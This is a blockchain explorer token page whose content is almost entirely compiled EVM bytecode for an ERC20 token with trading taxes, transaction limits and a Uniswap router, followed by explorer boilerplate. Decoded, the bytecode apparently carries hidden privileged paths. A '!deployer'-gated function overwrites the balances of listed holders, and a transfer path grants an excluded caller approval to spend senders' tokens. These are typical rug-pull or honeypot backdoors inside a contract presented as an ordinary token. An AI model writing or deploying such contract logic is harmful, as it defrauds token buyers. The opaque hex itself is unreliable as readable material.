6457e0908390a35f80546001600160a01b0319169055565b6013545f906001600160a01b0316336001600160a01b0316146105725760405162461bcd60e51b815260206004820152600960248201526810b232b83637bcb2b960b91b60448201526064016104d0565b61057c82826112b3565b919050565b5f546001600160a01b031633146105aa5760405162461bcd60e51b81526004016104d0906119aa565b6105b66009600a611985565b6105c490633b9aca00611993565b600d556105d36009600a611985565b6105e190633b9aca00611993565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106116009600a611985565b61061f90633b9aca00611993565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461065b5760405162461bcd60e51b81526004016104d0906119aa565b60405133904780156108fc02915f818181858888f19350505050158015610684573d5f803e3d5ffd5b50565b5f546001600160a01b031633146106b05760405162461bcd60e51b81526004016104d0906119aa565b6040516370a0823160e01b81523060048201525f906107319060649061072b9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610701573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072591906119df565b9061130c565b90611391565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af115801561078d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b191906119f6565b50505050565b5f546001600160a01b031633146107e05760405162461bcd60e51b81526004016104d0906119aa565b601354600160a01b900460ff161561083a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d0565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801561089c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c09190611a15565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561091f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109439190611a15565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561098d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109b19190611a15565b601280546001600160a01b0319166001600160a01b039283161790556011546109f1913091166109e36009600a611985565b61049890633b9aca00611993565b6011546001600160a01b031663f305d7194730610a22816001600160a01b03165f9081526002602052604090205490565b5f80610a355f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a9b573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ac09190611a30565b505050565b5f610416338484610ca7565b5f546001600160a01b03163314610afa5760405162461bcd60e51b81526004016104d0906119aa565b6013805462ff00ff60a01b19166201000160a01b179055565b6013546001600160a01b0316336001600160a01b031614610b625760405162461bcd60e51b815260206004820152600960248201526810b232b83637bcb2b960b91b60448201526064016104d0565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610be65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d0565b6001600160a01b038216610c475760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d0565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ccd5760405162461bcd60e51b81526004016104d090611a5b565b6001600160a01b038216610d2f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d0565b5f8111610d905760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d0565b5f80546001600160a01b03858116911614801590610dbb57505f546001600160a01b03848116911614155b1561113e576012546001600160a01b038581169116148015610deb57506011546001600160a01b03848116911614155b8015610e0f57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f6e57601354600160a01b900460ff16610e655760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b60448201526064016104d0565b610e8b606461072b600954600c5411610e8057600554610e84565b6007545b859061130c565b9050600d54821115610edf5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d0565b600e5482610f01856001600160a01b03165f9081526002602052604090205490565b610f0b9190611aa0565b1115610f595760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d0565b600c8054905f610f6883611ab3565b91905055505b6012546001600160a01b03848116911614801590610fa457506001600160a01b0383165f9081526003602052604090205460ff16155b1561102357600e5482610fcb856001600160a01b03165f9081526002602052604090205490565b610fd59190611aa0565b11156110235760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d0565b6012546001600160a01b03848116911614801561104957506001600160a01b0384163014155b1561107657611073606461072b600a54600c541161106957600654610e84565b600854859061130c565b90505b601354600160a81b900460ff1615801561109e5750335f9081526003602052604090205460ff165b156110ae576110ae843384610b84565b601354600160a81b900460ff161580156110d557506012546001600160a01b038481169116145b80156110ea5750601354600160b01b900460ff165b80156110f95750600b54600c54115b1561113e57305f90815260026020526040902054600f548111156111345761113461112f8461112a846010546113d2565b6113d2565b6113e6565b61113c611556565b505b80156111b657305f9081526002602052604090205461115d908261158c565b305f81815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111ad9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600260205260409020546111d890836115ea565b6001600160a01b0385165f9081526002602052604090205561121b6111fd83836115ea565b6001600160a01b0385165f908152600260205260409020549061158c565b6001600160a01b038085165f8181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61126485856115ea565b60405190815260200160405180910390a350505050565b5f818484111561129e5760405162461bcd60e51b81526004016104d09190611698565b505f6112aa8486611acb565b95945050505050565b5f5b8251811015610ac0575f8382815181106112d1576112d1611ade565b60209081029190910101516012549091506001600160a01b03908116908216036112f9575f80fd5b611303818461162b565b506001016112b5565b5f825f0361131b57505f61041a565b5f6113268385611993565b9050826113338583611af2565b1461138a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d0565b9392505050565b5f61138a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166c565b5f8183116113e0578261138a565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061142c5761142c611ade565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611483573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114a79190611a15565b816001815181106114ba576114ba611ade565b6001600160a01b0392831660209182029290920101526011546114e09130911684610b84565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906115189085905f90869030904290600401611b11565b5f604051808303815f87803b15801561152f575f80fd5b505af1158015611541573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610684573d5f803e3d5ffd5b5f806115988385611aa0565b90508381101561138a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d0565b5f61138a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061127b565b6001600160a01b0382166116515760405162461bcd60e51b81526004016104d090611a5b565b6001600160a01b039091165f90815260026020526040902055565b5f818361168c5760405162461bcd60e51b81526004016104d09190611698565b505f6112aa8486611af2565b5f602080835283518060208501525f5b818110156116c4578581018301518582016040015282016116a8565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610684575f80fd5b803561057c816116e4565b5f8060408385031215611714575f80fd5b823561171f816116e4565b946020939093013593505050565b5f805f6060848603121561173f575f80fd5b833561174a816116e4565b9250602084013561175a816116e4565b929592945050506040919091013590565b5f6020828403121561177b575f80fd5b813561138a816116e4565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156117ab575f80fd5b823567ffffffffffffffff808211156117c2575f80fd5b818501915085601f8301126117d5575f80fd5b8135818111156117e7576117e7611786565b8060051b604051601f19603f8301168101818110858211171561180c5761180c611786565b604052918252848201925083810185019188831115611829575f80fd5b938501935b8285101561184e5761183f856116f8565b8452938501939285019261182e565b98975050505050505050565b5f806040838503121561186b575f80fd5b8235611876816116e4565b91506020830135611886816116e4565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156118df57815f19048211156118c5576118c5611891565b808516156118d257918102915b93841c93908002906118aa565b509250929050565b5f826118f55750600161041a565b8161190157505f61041a565b816001811461191757600281146119215761193d565b600191505061041a565b60ff84111561193257611932611891565b50506001821b61041a565b5060208310610133831016604e8410600b8410161715611960575081810a61041a565b61196a83836118a5565b805f190482111561197d5761197d611891565b029392505050565b5f61138a60ff8416836118e7565b808202811582820484141761041a5761041a611891565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156119ef575f80fd5b5051919050565b5f60208284031215611a06575f80fd5b8151801515811461138a575f80fd5b5f60208284031215611a25575f80fd5b815161138a816116e4565b5f805f60608486031215611a42575f80fd5b8351925060208401519150604084015190509250925092565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b8082018082111561041a5761041a611891565b5f60018201611ac457611ac4611891565b5060010190565b8181038181111561041a5761041a611891565b634e487b7160e01b5f52603260045260245ffd5b5f82611b0c57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611b615784516001600160a01b031683529383019391830191600101611b3c565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a50ba8fdb082cf1d9651e56d73754542a016ab888ab18ece26a37d4d142f8f6f64736f6c63430008180033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.